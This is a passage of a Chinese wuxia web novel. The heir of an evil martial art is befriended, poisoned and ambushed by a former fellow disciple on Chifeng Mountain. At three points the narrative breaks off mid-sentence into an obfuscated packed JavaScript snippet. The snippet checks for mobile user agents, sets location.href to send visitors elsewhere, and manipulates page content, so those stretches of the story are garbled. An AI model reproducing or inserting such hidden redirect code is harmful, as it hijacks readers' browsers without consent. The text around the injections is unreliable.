《倾巢之下》 1. 赤峰山(一) 百年雪夜,故里春晖。 再踏上回金临城的路,向晚的身上已披覆了经年的风雪,她抬手拂落了肩上的落雪,又拢了拢身上这件单薄的披风,呵出一团白气,漫天的飘雪止步在她面前,被这团热气融成了水雾。 她手握一柄白玉折扇,立在雪里,目光穿越这片水雾凝于面前,白茫茫的雪地上却是一片刺目的红色,艳红的血蔓延开来,好像一朵妖冶盛开的花,而跪坐在花心处的,是个同样满身是血的女孩。 女孩身量单薄,身上的粗布衣裳破破烂烂,在这冰天雪地里还喘着一口气已实属不易,向晚侧了侧头,又瞧见女孩那左手的小臂上被豁开一刀深可见骨的伤口,正汩汩地向外冒着血,向晚面上如蒙了霜雪一般寒冷,拧了拧眉,却将身上的披风罩在了女孩身上。 女孩仰头看去,只见人面容清冷,却生了一双桃花眼,本该的多情如酒却变成了是掺了冰碴的冷酒,女子衣装干练,窄袖收腰,江湖打扮,月白色的衣摆恍若流云,她冷得实在发抖,急切地开口: “姐姐...救救我罢...” 她边说着,边流起眼泪,出口的话语在她面前凝不成白气,她太冷了,衣裙一半被血浸透,一半遭雪打湿,冰冷地贴在她的身上,寒彻了她的身骨。 向晚双眉陷得更深,她心中游疑,此番回去金临,是她于血海深仇中蛰伏数年才迈出的一步,必定步步小心,此行是她特意挑的这人迹罕至,没有官兵的小路,为的便是少生事端,不成想遇到这样的事,她弯下身: “你是什么人,到底遇了什么事情。” 说是女孩,却也有十六七的年岁,扬起巴掌大的一张小脸,清秀的面容上竟横亘着一片不小的伤疤,瞧着像是烧伤所致,那女孩抽抽搭搭地喘了好几口气,方才说全了一句话: “我...村里遭了山匪,劫掠钱财,烧毁屋房,还杀光了全村的人,我又躲又藏,不知南北地逃了一整夜,才在天亮时候遇见姐姐...姐姐,数九寒冬,一场雪接着一场,我,我一个人是活不过冬天的,求您救救我,姐姐。” 女孩说的没错。 若是将她丢在这里不管,兴许是连明日也活不过的,向晚直起了身,盯着这雪里蜿蜒的血水看了许久,实在刺目,她长长地叹出一口气。 如此这般,金临,是去不成了。 她尚且隐姓埋名,游移在外许多年,才机缘巧合,寻了这么个混入太子影阁的机会,这许多年里,心心念念要拿她性命的人数不胜数,而今若再带着个来历不明的女子,更是自寻死路。 她心里繁杂,盼了许多年的地方近在咫尺了,却依然不能回去,向晚烦躁地挥了挥手,叫赶车的随侍将人带进马车的暖轿里,而自己踏着雪,遥遥望去。 她望着的方向,正是金临,遥遥看去,可见被雪覆的屋角,再远一些,似乎还依稀可见连绵不绝的朱红色殿宇,缀在雪景里,像一团经久不灭的火,正是皇城所在。 站了不知有多久,年轻随侍替那女孩包好了伤口,正拾起路边的积雪洗去手上的血水,他搓着冻红的手指,瞧见落雪已在向晚的肩上积起了薄薄一层,随侍犹豫片刻,还是开口: “阁主大人,雪渐大了些,不如,还是抓紧时间赶路吧。” 雪意渐盛,向晚立在雪里挪了挪步子,终于收回了视线,拂落新雪,迈步进了轿内。 半晌,又是一声: “调转马头,回端州。” —————————— 端州路远,此番前去,约莫是要行个四五日了。 山高水远脚程长久,向晚倒也不恼了,默然半日,漫天飞雪渐渐休止,她靠在车壁上,双目微合,颇有些漫不经心。 倒是那被她所救的女子似有些性急,她托着那条受了伤的手臂,见与金临渐行渐远,问道: “姐姐,我们不去金临吗?” 听闻此言,向晚眼皮轻轻动了动,幽幽道: “姑娘要去金临?” 那女子似乎反应过来了自己的失言,因疼痛渗出的汗珠顺着额角滚落: “自然,不是,只是小女子先前瞧着,大人所行的方向似乎正是金临,忽而改道,心生疑惑而已。” 向晚不置可否地应了一声,视线落在手中的扇子上,顿了半晌才道: “我在金临并没有一个妥帖的落脚之处,不利于你养伤,倒是端州有一家客栈,老板与我相熟的很,你可以先在端州治好了伤,再做打算。” “端州?” 女子囫囵念了遍,拧着眉若思若量,而向晚靠坐在那里状似不经意地把玩着扇骨,却是眯起一双眼,不露声色地打量着这女子思考的样子。 过了好一会,才见这女子眸色暗了暗,道: “端州,可去不得呀。” “如何去不得?” 向晚抬眸,似笑非笑地瞧着她。 那女子恬然一笑,接着道: “小女子若没记错,那端州边上有座形势陡峭的山,唤作赤峰山的,近日里很不太平,说,说有一伙贼人,在山中困锁了许多江湖上的能人异士,意图重现赤峰山血案。” 赤峰山血案? 很是不巧,向晚倒还真听过此事。 说是在三年前,江湖之上横空出世的一个邪门异派,以其修习功法的嗜血残暴著称,唤作雨落血梅,此门派之人盘踞赤峰山上,不知用了什么邪法,将近百名江湖人士困锁在山腰处的一处山穴内,尽数屠戮,而后又放了一场烧了三天三夜的大火,将一切都化为的飞灰。 此事震颤江湖,五花八门的传言沸沸扬扬,江湖之上人尽皆知,将要替天行道,铲除邪派的名门正派更是数不胜数,只是此事之后,雨落血梅的传人却如同人间蒸发一般,任谁掘地三尺也再杳无音信,仿佛这发生在赤峰山上的惨案,只是黄粱一场,这般行事暴虐又行踪诡谲,于是短短几月,这雨落血梅便坐稳了江湖第一大邪功的位置。 作为江湖人士,知晓此事并不稀奇,只是作为一个远在金临城郊的一家农户的女儿,对这江湖之事如此通晓,便有些不同寻常的。 向晚瞧着她温和一笑,折扇一展,俨然好似一个温润如玉的世家子弟,反问道: “还未来得及过问姑娘名姓?” 女子顿了顿,却从她温和的笑意里瞧不出分毫的端倪,于是答道: “小女子,姓彦,单名一个荷字。” “彦荷?好名字。” 向晚依然笑着: “我姓向,向晚。方才你说血案重现?这是何意?” “大约是那邪派重现于世了罢,江湖上传的是沸沸扬扬,好像是,什么梧桐阁的阁主所为。” 彦荷撇了撇嘴: “总之,端州近日很不太平,我劝大人还是绕路行之吧。” “梧桐阁?” 向晚饶有兴趣地眯起眼,江湖闯荡至今,倒是头一回听个民女向自己分享这江湖风闻,向晚颇感新奇,继续问道: “那这梧桐阁的阁主,是何人事,又姓甚名谁,你可知道?” 闻此言彦荷倒是一愣,神色略有些古怪地避开了向晚的眼神: “个中细节,小女子到底是一介民女,便不得而知了。” 向晚又瞧着人瞧了好一会,方才轻笑出声: “也是,能知道赤峰山,于你已是难得了。” 她顿了顿,眼里闪过几分不同以往的生动与狡黠: “不过,在下江湖行走,最喜欢行侠仗义,既然你说起这赤峰山有重案,那我便定要去一探究竟了。” 她重新靠回车轿: “不过彦荷,你且宽心,到了端州我会先将你安置好了,再做打算。” —————————— 冬日昼短,四五个颠簸的夜过去,客宿两三家客栈,几经辗转,终于是到了端州城郊的那一所客栈,这端州偏僻,土里埋沙,自是比不上金临的金尊玉贵,这地处城郊的客栈更是荒凉无边,几人站定了,只遥遥瞧见客栈前飘着个东倒西歪的旗子,上书“东风”二字,旗子是破烂,但这字倒是意外的风骨强劲,恣意洒脱。 向晚立在这风沙里,一身窄袖素衣,长身玉立,倒与这略显破烂的客栈格格不入,她瞧了会,幽幽叹了口气,抬步进了那扇摇摇欲坠的大门。 她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195548|165643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后跟着彦荷,得益于向晚身上带了不少金贵的伤药,几日过去,彦荷止了血,面容甚至还红润了几分,此刻拢着袍子,神色怯怯地跟在人身后。 自打她伤势见好,日日便惦念着要报恩,每到一处歇脚,是奉饭端茶,更衣铺床,都是一马当先,俨然是要将向晚侍候成了高门大院里的小姐,劝了几次方才罢休,终于只乖巧地坐在人身边,只是偶尔略带心焦地瞧着向晚,不知想了些什么。 这向晚倒是不甚在意,她倒是不知这彦荷在打些什么主意,一双漆黑发亮的眼望进去却看不出丝毫的情绪,但好在人是安分下来了,坐在自己眼前仿佛是个受了惊的鸟雀,总好过四下折腾,她端来的每一道汤食都要自己防上又防。 进了客栈,破败的门面下,大堂内却还算整洁,稀疏几位客人正把酒言欢,跑堂的小厮倚在门边打盹,见有人来正要起身张罗,待看清来人,却是神色一顿; “向爷?” 他笑意堆了满脸,急忙向着柜上招呼: “贺掌柜,是向爷,向爷来了。” 这位姓贺的掌柜闻声望过来,他生的眉眼清明,弯眉细眼,正颇为懒散地靠在柜前翻弄账册,指尖勾着一杆羊毫笔,玉色的长袍松松垮垮地披在身上,颇有几分懒散书生的意味,见几人来,长眉挑了挑,直到走近了方才直起身子,开口道: “难得一见啊向爷,这许久时日,贺某还当再见面,就只能瞧见向爷的尸首了,哪成想,您还活着呢?” 他笑得揶揄,直到向晚走近了拉过他正瞧着的账册,又腾出空,瞧了眼跟在她身后神色紧张的彦荷,轻笑道: “怎么,最近又好上强抢民女这一口了?” 向晚闻言只是轻哼一声,仿佛习以为常,她挨页翻着账册: “多亏了你日夜记挂,不然我还活得不如这般有滋有味。” 她以手捻着账册的薄纸: “只是我当真有疑,我夜以继日地朝这客栈里运银子,怎么就不能劳动您大驾,修一修这土的掉渣的破门?这外面的风沙再吹几日,不论我是死是活,都要认不清您这庙门了。” 她以折扇当作令箭,眯着眼睛指向贺余钱,玩笑道: “老实交代,银子都去哪了。” 贺掌柜也跟着笑意舒朗,拨开那柄折扇转向身后大堂的木头地面,语调轻快: “喏,那块地,我打算修成汉白玉镶金的,大人意下如何?” 向晚轻哼一声不再搭腔,有拾起桌上的茶壶倒了一杯热茶,推到彦荷面前,指了指,道: “身世可怜,腾间房子给她。” 贺余钱这才将人上上下下仔细打量了一番,那女子白着一张小脸,接过热腾腾的茶碗握在手里,将人看了片刻,只闻见一股难以忽视的药苦气息,贺掌柜不喜,皱了皱眉,瞧着人道: “伤了?” 彦荷愣了一愣,方才反应过来说的是自己,连忙点了头,正待要开口,向晚接过了话头: “伤的不轻,她家里人遭了山匪,无处可去了,想着先留在你这里养养伤,伤好了再做打算。” 贺余钱点头算是应下了,他一面翻出住客名册,一面道: “这药苦气息这般浓重,向晚给你用的,怕不是什么好伤药吧。” “怎么会。” 彦荷恬然一笑,连忙开口: “晚姐姐给的都是上好的药,我平日里都未曾见过的。” “小钱钱诶,小人之心度君子之腹,这可是万万使不得的。” 向晚靠在柜前瞧着账目,头也不抬地接道,话音未落,客栈那扇破烂的木门忽而碎裂,木屑翻滚之间,一支木箭破空而来,向晚神色一凛,抬手便推开了身边的彦荷,只是呼吸之间,那箭就已擦着彦荷的脸侧,直直钉入柜上。 只稍一怔,向晚拔刀而起,几步点地便追了出去,只是客栈之外,黄沙漫漫,哪有什么人,她拧着眉看了会,只得无功而返,方才那支木箭角度刁钻,即便是闪躲开了,那彦荷的脸上还是多了道殷红的血线,还未来得及细看,彦荷却又递上来一个黑乎乎的物件。 正是方才那支箭的箭尾上拴着的。 2. 赤峰山(二) 贺余钱一个使力,将那插入柜上的箭矢拔了出来,他眯起眼睛瞧了瞧箭头,确认无毒后才丢在了一边,他用手指拢了拢四散的木屑,轻轻啧了声: “这柜子,是您二位谁来赔?” 向晚闻言笑了: “不急,你那地板镶金子的时候腾一块给这不就得了。” 她边说着边接过彦荷递过来的物件,瞧着黑乎乎的,却只是个奇形怪状的木牌子。 那木牌单只有个模糊似令牌的外形,仿佛是人手削的,细看雕刻也是粗糙无比,上面纵横着几道刀痕,而刀痕之上,剜出了几朵歪七扭八的花,依稀辨认,似是梅花。 若只是几朵花便也罢了,这块木牌拿着便能闻见难以忽视的血腥气,再细看去,这每一朵花上竟都有一抹新鲜的血红色,硬生生将这粗糙的梅花染成了血梅。 向晚瞧着心下一凉,倒也不是无端联想,只是叫她想起她修习的功法,正是唤作雨落血梅的江湖邪功,而今这箭矢破空而来,只是不知是朝着自己,亦或者是,彦荷? 思及此,她抬了抬眼,状似不经意地瞥了眼坐在一旁的彦荷。 彦荷白着一张小脸,细柔的小手捂着脸颊上伤,尤是心惊胆战地瞧着那木牌上的血色发愣,向晚看了好一会,倒是没从她的脸上瞧出些别的端倪,彦荷抿了抿唇,干巴巴地开口: “这,这血,晚姐姐,这该不会是人血吧?” 若是在泥里拾来的也便罢了,如此来势汹汹,总不能是个牲口血,向晚幽幽叹气,面上却一平如水,她把木牌丢在一边,淡淡道了句: “无事,大约是来杀我的吧。” 彦荷闻言缓缓睁大了双眼,刚要开口,向晚却好似没事人一般站起了身,交代了三两句,便说着要去沐浴更衣,头也不回地上楼去了,只留下彦荷和贺余钱面面相觑。 贺掌柜一副见怪不怪的样子,伸了伸胳膊,又捞起一边的账本勾画起来,见彦荷还是不动,温声道: “天也不早了,方才又受了惊吓,不如你也上去更衣罢,小店前日里朝一过路富商买了些金贵的香料,正好分发了各屋,我早已试过了,最是放松神经。” 他顿了顿,抬头见彦荷还盯着那血牌子发愣: “怎的还盯着瞧,不觉得吓人么?” 彦荷这才收回了视线,眼底的仓皇之色难以遮掩,她抽了口气,道了句谢,便也匆匆上楼去了。 —————————— 说是明日启程,向晚倒也没真的打算明日再走。 她将周身浸没在浴桶的温水里,疲惫融化在水中,思绪随着缭绕的烟拧成断续的长线,她将自己埋在水里,皱着眉闭上了双眼。 总不至于到哪里都有人要取自己的性命吧。 她仰起头,叹出一口气,今夜的熏香熟悉,让人心安,她知道贺余钱给客栈的每一房都添了新香,但她谨慎,倒了香灰,还是换上了自己惯用的。 长夜如不起涟漪的湖水,那木牌上的血痕越发刺目,若是旁人的功法倒也罢了,这雨落血梅与那赤峰山的血案勾扯甚多,而她又是雨落血梅存世的唯一传人,思来想去,这血梅纹样总不会是寻常的凑巧,更何况,她原打算此行要入金临,来这东风客栈只是临时转意,却不知射箭之人是如何对自己的行踪了如指掌的,若是此箭为彦荷而来。 可那彦荷的表情竟又是毫无破绽的迷茫,几日里相处来看,这彦荷虽是板上钉钉的来历不明,但若存心留意,总能在微末处瞧出些端倪。 她左思右想也想不明白,若硬要去猜,大抵是赤峰山上的事又闹起来,不管有没有人意图重现血案,一盆脏水泼下来,这雨落血梅又成了人人得而诛之的江湖目标了。 她揉了揉眉眼,站起身,温热的水流滚成珠,丝丝夜寒渗入屋内,倒叫她昏沉的头脑渐渐清明。 这一清明,又让向晚想起来一件被她丢在赤峰山的旧物,不是别的,也是一枚木牌。 想来左右也是要去一趟的,便连那旧物一同带上,再去金临罢。 —————————— 连夜纵马,终是在朝阳初升之时,向晚来到了赤峰山的山脚下。 晨光熹微,停马驻足,今日是个雪意消融的好天气,只是才走了没几步,便瞧见不远处的树下立着个脸色阴沉如锅底的人。 向晚折扇一展,笑意深深,拂落了眼前人肩膀上累下的晨露: “孟客啊,好久不见,在这里站了多久了?” 那孟客闻声抬头,是个眉眼舒朗的好容貌,剑眉入鬓,只是一张脸冰山一般,那双眼睛更是古井无波,清清泠泠,连同他周身的气场也是如此,疏离至极,他抬头盯着人瞧了会,出口的声音略有些低沉,好似毫无情绪: “阁主大人自四日前递了飞鸽传信回梧桐阁,叫我到这赤峰山下等着,两日前我来到此地,直到现在。” 这后四个字,他讲得极慢,只是向晚面色如常: “总不能就杵在雪里干等着,来的这么早,何不寻家客栈住下。” 孟客那如寒冰不化的脸上终于有了丝毫的抽动: “阁主大人与我可都是一同在这同一个山头上长起来的,这赤峰山就这么一个立在这,那血案之后更是方圆百里连个鬼影都瞧不见。” 他顿了顿,又道: “不如阁主就将整个梧桐阁搬在赤峰山下吧,这样人影也有了,鬼影备不住也有了。” 向晚闻言白了他一眼: “且说了让你少去找贺余钱喝茶,以后若不是情况特殊紧急,东风客栈你也少去,省得学那些个歪风邪气。” “是。” 他家阁主的脾气阴晴不定,在这等小事上向来是想一出是一出的,孟客低了低头,轻轻吸了吸鼻子,抖了抖袖子上的晨露,寒冷冻得他有些五感麻木,却又瞥见向晚手里拿着的玉扇子: “这是大人新得的暗器?” “自然不是。” 向晚哗啦一声收了扇子,正色道: “以扇相配,方显我风流倜傥,玉树临风。” —————————— 两人一路闲谈,佐以轻功攀山,约莫一二个时辰,便到了这赤峰山的半山腰上,这半山腰处有一天然平台,再向深处走走,枝叶掩映之间便可看见一处显眼的洞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她深喘一口气,加快脚程,走了许久,才到那片空地,这一路空荡荡,静悄悄,别说囚禁的江湖高手了,就连不幸困在洞里飞不出去的傻鸟也没有一个。向晚暗自叹气,早便能猜到是盆脏水,却没想到这始作俑者如此草率,连抓几个江湖人士关起来充充数都不愿做。 她站在空地中间,双眼微眯,仅靠着火折子那微弱的一丁点光亮照明四周,四周静谧,针落可闻,可想当年,近百人挤在这里,嘈杂,绝望,哄吵,兵刃交接,刀剑刺入血肉的闷响,贯穿喉管的嘶哑,这些年,这样的声音她已听过太多太多了,她手上的人命早已多如流水。 思及往事,向晚呼吸减缓,回忆里那剑尖刺破长空的凛冽之声依旧嗡然,叫人恍若置身当。 只是这回忆未免太过生动,倒叫她心下一震,待定睛一看,却见剑尖竟已至她喉前半寸,她当下神色一凛,旋即扭身闪去,同时将火折子朝着剑来的方向扔去,那刺来的剑刃便改了道,挑开了那团火,这火摔在地上便熄了。 周遭骤然陷入永夜,只是在那火光跃动的一瞬,向晚仿佛看见了持剑那人模糊的面孔。 3. 赤峰山(三) 火折子跌在地上,火星四溅,而后便噗的一声熄了,周遭归于黑暗,向晚几乎是火熄的顺便便拔刀出鞘,她在黑暗里如猫儿一般蛰伏下身子,几个轻盈的挪步,无声无息的靠向洞壁,以防被人围困。 方才那人的脚步声只响了一瞬便消失的无影无踪,向晚喘了一口气,提着内力暗自探查,不禁悚然,这四周不知是从何时开始,少说围了不下十人,此刻皆收敛着呼吸,对着自己虎视眈眈。 她心下一沉,这来势汹汹,必定是有备而来,只是不知,是那些个名门正派来匡扶正义,还是实打实的遭人暗算,不等她多加思索,洞壁的火把忽然又如见了鬼一般皆燃了起来,四下顿时亮如白昼,霎时间,铁器破风之声不绝于耳,杀了个措手不及。 向晚的眼睛还未来得及适应这黑暗,此刻只觉得眼前是花白一片,依稀瞧见几团的黑影从四面八方朝自己脸上扑来,要么壮如冬瓜,要么瘦像细葱,她不禁皱眉,心里暗想这围杀之人到底都是些什么玩意,怎的如此形状各异。 她一面身形闪躲,一面持剑抵挡着这冬瓜和细葱恍如疾雨的攻击,兵刃相交之声不绝于耳,向晚凝息,运气,正盘算着伺机跃起,寻个什么角度将那细葱腰斩了了事,一口气才提到胸前,突然眼前一黑,耳畔蜂鸣,心口一阵尖锐的痛感,如过电一般流窜周身,她勉强稳住身形,跌在洞壁上,竟是生生呕出了一口血。 是毒。 她心下一沉,仓皇后退,堪堪躲过刺来的剑锋,见那细葱几个闪身,轻飘飘地落在了地面上,向晚一手扶着洞壁,一手攥着刀,眼前仍是一阵阵的晕眩。 何时中了这毒。 她喘了好几口气,方才平复,慢慢看清了眼前的景象。 那杆细葱,是个精瘦男子,身后背了三四把细长如蛇的刀,而那个冬瓜,是个确实长像冬瓜的,左右手各握了一把流星锤,气势汹汹。算上二人,共是六七人左右,连人带兵器是长得形状各异,五花八门,他们一齐围成一个半圆,将向晚逼在洞壁前。 两相僵持,向晚捂着心口,抬手擦了擦嘴角的血,心里恨然,左右想不明白问题出在了哪里,正是纠结时,那杆细葱开口了: “向晚,你残暴嗜血,草芥人命,今日我林渊楼就是替天行道,用你的命,祭奠这里的几百亡魂。” 林渊楼? 江湖上何时有了这号人物了。 围杀者正气凛然,怒目而视,桩桩件件说的是言之凿凿,瞧的向晚心里竟有些发虚,她犹豫再三,还是清了清嗓子,纠正道: “胡说八道,这哪有这么多亡魂。” 听闻此言的冬瓜和葱皆是面上一怔,可就在这愣怔的一瞬,向晚足下使力,一个拧身,腾空而起,踏着洞壁急掠而去,她心知自己中了毒,万不可恋战,此时尽快去与孟客汇合才是上策,只是她这轻功运地太过急切了,那诡异的毒顺着经脉席卷全身,锐利细密的痛感如蚁噬心,但总比方才要运功抵挡时要好上一些,向晚咬紧牙关,满口血气,速度依然不如从前。 身后的一干人筹划许久,自是不会让她轻易逃了,几个动作快的已然旋身赶了上去,也不上前,只是追着,直到又追了一段路。 向晚骤然一顿,她反应迅速,在空中拧了个身,此时一道墨蓝色的身影带着长剑的冷光,径直向着向晚心口刺去,纵是反应再快,也只能堪堪躲过要害,那道剑气凛冽逼人,在向晚的小臂上豁开一道血口,鲜血瞬间飞溅而出,染红了布料。 向晚来不及愣怔,那蓝色身影咄咄逼人,一剑赶着一剑,行招诡谲扭曲,让人眼花缭乱,向晚握着短刃拆招,几番交错,竟在对方的路数中瞧出了几分熟悉,她心里疑惑,不禁抬眼去瞧那人的面容,那蓝衣女子身量纤纤,面上覆了个描金的黄铜面具,画的是修罗恶鬼,遮了大半张脸。 她来不及深想,只这一错神,便已被那剑锋添了不少伤口,又奈何身中奇毒,运功不济,这身白衣不多时便已染了血。 她的气力越发枯竭,身上也是血色狼狈,向晚艰难地又挡了几剑,终于将人这路数瞧了个明白,难怪熟悉,她顿住一口气,嘶哑道: “雨落血梅。” 那蓝衣女子竟停了攻击。 向晚好容易得了个喘息的机会,抬头看去,那黄铜面具下的,竟是熟悉的眉眼。 彦荷。 她一时愣怔,气血上涌,又吐出一口血来。 见状,彦荷摘下了面上的面具,恬然一笑: “这才分别了不足一日,晚姐姐,我可是想你想的紧呀。” 向晚咳净了喉间的血沫,心口疼得宛如万蚁啃噬,她攥紧了胸前染血的布料,眼里尽是难以置信: “怎么如此,你到底是何时下的毒。” 彦荷望着剑锋上残存着的血,笑得依然灿烂,她不紧不慢地开口,声音清脆如山泉: “唉呀,这可说来话长了。” 她的视线随着血划过剑锋,滴在土里: “若说这毒,我可是自三月前便为你备下了,先是知道了你惯用的熏香,再是买通富商好叫贺掌柜换了客栈的焚香,但这两点,都并非关键。” 她收回视线,转向向晚,灿烂的笑意在她的脸上渐渐融化: “关键在于,我太了解你了,晚姐姐。” 她顿了顿,眼底渐渐染上一抹疯狂: “我太了解你了,知道你足够多疑谨慎,知道你在雪地里见到我的第一瞬,就必然心中戒备,于是我的每一次思量,每一次游疑,都在你看来仿佛显露破绽一般合理,你必不会动我奉上的吃食,必不会饮经我手的汤茶,你自以为万无一失,连新换上的熏香都要谨慎地倒掉,换上你常用的。” 那抹疯狂蔓延,生硬的笑意仿佛冻在了她的脸上: “若非如此,你也不会中了这毒,那客栈新换的熏香与你惯用的皆是无毒,只是不能合用,我苦翻医术许久才找到这几种刁钻罕见的药性,只消得一点旧灰,再加上你惯用的熏香,沐浴时便会毒侵入体,运转不过半日,便会经脉闭锁,郁结于胸,让你运功不能。” 她瞧着向晚渐渐紧锁的双眉,说到此处,眼里竟隐露兴奋之色, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195550|165643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彦荷长剑一振,一双眼睛分毫不错地盯着向晚: “如何,这般答案,晚姐姐可还满意?” 她眼里隐露期待,向晚只觉得脊背生凉,竟有人能将她的秉性揣摩至如此地步,她心里泛起冷意,却还是拧着眉开口: “那雨落血梅,又是为何?” 她向晚合该是雨落血梅的唯一传人,三年前就在此地,师父的其他弟子们皆化为了她刀下的亡魂,余下的,也合该在那场山火里化成飞灰,难不成还能存侥幸。 那彦荷果然敛了神色,继续道: “你看出来了?真不错,三年前没能杀你,可是我莫大的遗憾,不过没关系,今日你死在这,从赤峰山走出去的,还是只我一人,同三年前一个样。” 难怪她脸上有那道可怖的疤痕。 如今看来,这彦荷是做了万全的打算,雨落血梅虽是邪功,但江湖上觊觎其强悍的旁门左道也并不少见,今日杀了向晚,便没人知道赤峰山的真相,她便可带着这身绝学,在江湖上风生水起,也难得她这般盘算,处心积虑地要来杀向晚,只是不知,她当初是如何逃得过那场大火的。 向晚心绪复杂,她不动声色的盘算,此处虽不及洞口,但若再挣扎一番,站在洞口的孟客大约也能听见这洞内的嘈杂,赶来相助,只是不知道她还有没有命活到那个时候,她正在心里想着,那彦荷见她不再说话,便也没了耐心闲话,她收敛了面上的表情,转而温柔一笑,提剑杀来。 向晚拧眉,提起一口气忍着剧痛运转经脉,剑光凛冽之间划伤了彦荷持剑的手,可几招下来,终是不敌,她借彦荷吃痛顿挫的那一瞬,奋力向洞口逃去,将要看见那洞外的晨光了,在旁伺机的那些奇形怪状的侠士忽而一齐杀上前来,为首的细葱尤为敏捷,几个呼吸间,剑尖便已指向了向晚喉咙。 只是向晚浑身的气力终于不堪重负,顷刻间恍如大厦倾颓,抽丝如山倒,就这样生生的散了,她不禁叹气,虽说自己这一生的确是好事没几件,坏事一箩筐,但好歹也没到罄竹难书的地步,如今在这阴凄凄的山洞里被杆子细葱便打杀了,未免也有些太难看,她心里惆怅,又念着自己大事未完,拼尽了最后的气力,想躲过这一剑。 在此电光火石之间,向晚忽觉自己腰上被人箍住,轻巧一个使力,当下便跌进一个宽大的怀抱里,她心下一愣,不免惊喜: “孟客?” 一阵柔和的松柏气息充盈鼻腔,她被那男子拥着后撤几步,躲开了那道致命的锋芒。 那细葱显然始料不及,但胜在反应迅捷,他在半空中一个拧身,剑锋改道,剑尖又直逼向晚的脖颈,向晚只觉腰上一轻,自己悬在腰带上的那枚玉佩被身后那人用剑尖挑起,挡在剑前,温软的玉石碰上冷铁,霎时便化为了齑粉,洒了一地。 望着漫天的玉屑,向晚怔然。 此人必不是孟客。她的这位副阁主她了解的很,最是财迷心窍,断不会干出这以玉挡剑的事来。 她呼吸微窒,转而觉得心中苦涩。 那可是块价值连城的羊脂好玉啊。 4. 赤峰山(四) 向晚被人拥在怀里,向后急速退去,与此同时,只见一道黑色的身影提剑向前,几步点地,便杀至那几人身前,孟客长剑一凛,剑尖拨开扭曲的刀刃,他足下使力一个跃起,又自怀中摸出一只小巧浑圆的瓷瓶,只听得一道瓷片碎裂的清脆之音,霎时间黄雾腾起,一股难以形容的药苦气息弥散开来,阻了那几人的攻势。 孟客善毒,他身上惯是带着些瓶瓶罐罐的,寻常的毒药经了他的手,毒性便会厉害百倍,有些时候只消得一撮粉末,便可叫人命丧黄泉。 他当下掷出去的,倒非那般歹毒之物,黄雾之后传来阵阵撕心裂肺的咳嗽声,三人还未站定,一道寒光凛冽的剑气便将那靡黄色的雾气撕开一道口子,彦荷握剑杀来,毒气渗入她的双眼叫她双目充血,她已然杀红了眼,今日不在此取了向晚的性命,她誓不罢休。 这一剑使了十足的力道,却被那男子只轻轻一个提剑,便稳稳当当地接住了,剑刃的薄铁不住地嗡嗡颤抖,向晚心下惊觉,此人的武功竟是如此深不可测,显然彦荷也察觉难敌,她只一怔,便收剑入鞘,才刚站稳,又按住胸口咳出了一口血。 到底还是中毒了。 她咬牙抹去嘴角的血沫,望向眼前那人,恨然道: “来者何人,我林渊楼在此惩奸除恶,替天行道,劝少侠莫要多管闲事,速速退去。” “替天行道?” 见彦荷收了手,男子站定,迅速抽走了揽在向晚腰上的手,又向前几步,既挡在了向晚身前,又恰当地与人她隔开了些距离,面不改色道: “林渊楼栽赃陷害之事早便臭名远扬,你们借此迫害了不知道多少人,如今倒站在这里说起替天行道了?” 他的声音好听,温润清朗,不疾不徐,有种新雪初融的暖意,向晚有些意外地抬起头,视线落在人的背影上,她劫后余生,悠悠叹出一口气,不免暗叹这世间的正道到底还是没有弃她不顾。 彦荷越过那男子,直直盯住向晚,妄图从向晚的眼睛里瞧出些不一样的情绪来,她一双眼睛通红,面上浮起几分不自然的绯色,她自孟客的毒雾中穿过,中毒不浅,只是她当下全然顾不上了。 她自也知道,杀人如麻的刽子手,如何能记得住那些个将死之人的面容,但她却是至死也会将那人漫不经心地提刀刺向自己喉管的样子刻在心里,那般事不关己,仿佛杀人如饮水一般简单,轻而易举地就坐上了这雨落血梅唯一传人的位子。 她恨这般轻易。 她身世悲惨,是被师父在大雪封山的夜里捡上山的,师父疼她,护她,待她与旁人不同,她也最争气,日日跟着师父起早贪黑地练功,总不像那向晚,尽日里埋首在那竹林间的小破屋子里,人都见不到几次,于是彦荷心里早便打好了成算,雨落血梅百年来都只真传一人,自己定是这不二人选,只是。 她困陷在回忆里,握着剑的手越发缩紧。 只是那场最后的角逐,师父竟直接剥夺了她参与杀戮的权利,她殷殷切切地赶到洞口时,洞内的血水已汇成溪河,汩汩地灌入洞口湿软的泥土。 越往里走,灌耳的惨叫越惊得她手指发僵,剑刃破入血肉的闷响渐渐近了,更近了,她还来不及反应,便觉眼前闪过一道寒光,向晚将卷了刃的刀扔在她跟前,毫无停顿地又拾起另一把,继续向前杀去,擦肩而过的一瞬里,彦荷只看清了她眼里的倦意。 凭什么? 她抬手捂住了脖颈,手上一阵黏腻,再低头看去,血色弥漫,她倒抽一口凉气,冷风却好似从喉间灌入。 凭什么? 